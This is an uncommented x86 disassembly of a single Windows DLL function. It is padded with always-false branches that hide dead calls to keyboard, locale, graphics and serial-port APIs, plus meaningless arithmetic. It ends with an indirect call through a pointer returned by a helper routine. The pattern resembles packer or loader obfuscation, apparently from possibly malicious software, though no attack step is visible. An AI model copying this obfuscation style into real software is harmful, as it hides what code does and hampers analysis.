cmp dword [ebp + eax - 0x7c], 0
jl 0x1003bc2f
mov dword [ebp - 0x84], 1
mov dword [ebp - 0x84], 0xffffffed
jmp 0x1003bbab
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x17
je 0x1003bbde
mov byte [ebp - 0x28], 0
movzx eax, byte [ebp - 0x28]
test eax, eax
je 0x1003bbc8
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov byte [ebp - 0x2a], 0
movzx eax, byte [ebp - 0x2a]
test eax, eax
je 0x1003bbdc
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1003bb9e
mov byte [ebp - 0x2c], 0
movzx eax, byte [ebp - 0x2c]
test eax, eax
je 0x1003bbfb
push 0x1682
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov byte [ebp - 0x27], 0
movzx eax, byte [ebp - 0x27]
test eax, eax
je 0x1003bc22
push 0x135
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0
call fcn.1003a158
pop ecx
jmp 0x1003bb62
jmp 0x1003b83d
cmp dword [ebp - 0x210], 0
je 0x1003bc42
jmp 0x1003b816
jmp 0x1003b816
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x8c], 0
jmp 0x1003bc67
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x1003bc83
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x9c], 1
jmp 0x1003bc5a
mov dword [ebp - 0x50], 0x16
jmp 0x1003bc93
mov eax, dword [ebp - 0x50]
dec eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0xb
jg 0x1003bd6e
mov dword [ebp - 0x214], 0xfffffff7
mov dword [ebp - 0x20c], 0xf82baef
mov dword [ebp - 0x94], 0
jmp 0x1003bcca
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 4
jge 0x1003bce6
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x32c], 0
jmp 0x1003bcbd
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x9c], 2
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x32c]
mov dword [ebp - 0x2c8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9c]
mov dword [ebp - 0x2b8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9c], 0
jne 0x1003bd3b
cmp dword [ebp - 0x50], 0
jne 0x1003bd3b
and dword [ebp - 0x18c], 0
jmp 0x1003bd45
mov dword [ebp - 0x18c], 1
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x214], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9c]
add eax, 0x7213ec75
mov dword [ebp - 0x20c], eax
jmp 0x1003bc8c
push 1
lea eax, [ebp - 0x354]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.10039a0c
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x310]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x310]
lea edi, [ebp - 0x284]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x58], 1
mov dword [ebp - 0xac], 0x9017ca4e
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0x22c], 0xeb2d
mov dword [ebp - 0x234], 8
mov dword [ebp - 0xa4], 0
jmp 0x1003bdec
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 1
jge 0x1003be08
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x224], 0
jmp 0x1003bddf
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0xac], 0
jne 0x1003be3b
mov dword [ebp - 0x194], 1
jmp 0x1003be42
and dword [ebp - 0x194], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x194], eax
jg 0x1003be59
mov dword [ebp - 0x19c], 1
jmp 0x1003be60
and dword [ebp - 0x19c], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x19c], eax
jg 0x1003be7d
cmp dword [ebp - 0x48], 0
jne 0x1003be7d
and dword [ebp - 0x1a4], 0
jmp 0x1003be87
mov dword [ebp - 0x1a4], 1
mov eax, dword [ebp - 0x1a4]
sub eax, dword [ebp - 0x48]
jne 0x1003be9e
mov dword [ebp - 0xdc], 1
jmp 0x1003bea5
and dword [ebp - 0xdc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xdc]
mov dword [ebp + eax - 0x224], ecx
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0xd8], eax
jg 0x1003bedb
mov dword [ebp - 0xe4], 1
jmp 0x1003bee2
and dword [ebp - 0xe4], 0
mov eax, dword [ebp - 0x22c]
cmp dword [ebp - 0xe4], eax
je 0x1003befc
mov dword [ebp - 0xe8], 1
jmp 0x1003bf03
and dword [ebp - 0xe8], 0
imul eax, dword [ebp - 0xe8], 0x50df
cmp eax, 0x8014
jle 0x1003bf20
mov dword [ebp - 0xf0], 1
jmp 0x1003bf27
and dword [ebp - 0xf0], 0
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0xf0]
je 0x1003bf47
cmp dword [ebp - 0xd8], 0
je 0x1003bf47
mov dword [ebp - 0xf8], 1
jmp 0x1003bf4e
and dword [ebp - 0xf8], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0xf8]
imul eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x58]
jge 0x1003bf6c
mov dword [ebp - 0x100], 1
jmp 0x1003bf73
and dword [ebp - 0x100], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x100]
jge 0x1003bf8a
mov dword [ebp - 0x108], 1
jmp 0x1003bf91
and dword [ebp - 0x108], 0
mov eax, dword [ebp - 0x108]
sub eax, 5
cmp eax, dword [ebp - 0x234]
jge 0x1003c02c
mov dword [ebp - 0x110], 0xffffffff
mov dword [ebp - 0x248], 0xfffffffb
mov dword [ebp - 0xb4], 0
jmp 0x1003bfd3
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 2
jge 0x1003bfef
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x2ec], 0xbe74
jmp 0x1003bfc6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ec]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 1
jg 0x1003c017
mov dword [ebp - 0x118], 1
jmp 0x1003c01e
and dword [ebp - 0x118], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x248], eax
jmp 0x1003c042
mov byte [ebp - 0x3d], 0
movzx eax, byte [ebp - 0x3d]
test eax, eax
je 0x1003c042
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [ebp - 0x60], 0x9fdf99ff
mov dword [ebp - 0x60], 0
jmp 0x1003c059
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xe
jge 0x1003c071
push 1
call fcn.1003a158
pop ecx
cmp dword [ebp - 0x60], 0
je 0x1003c06f
jmp 0x1003c071
jmp 0x1003c052
cmp dword [ebp - 0x284], 0
je 0x1003c08e
push 2
push dword [ebp - 0x27c]
push dword [ebp - 0x280]
call dword [ebp - 0x284]
pop edi
pop esi
mov esp, ebp
pop ebp
ret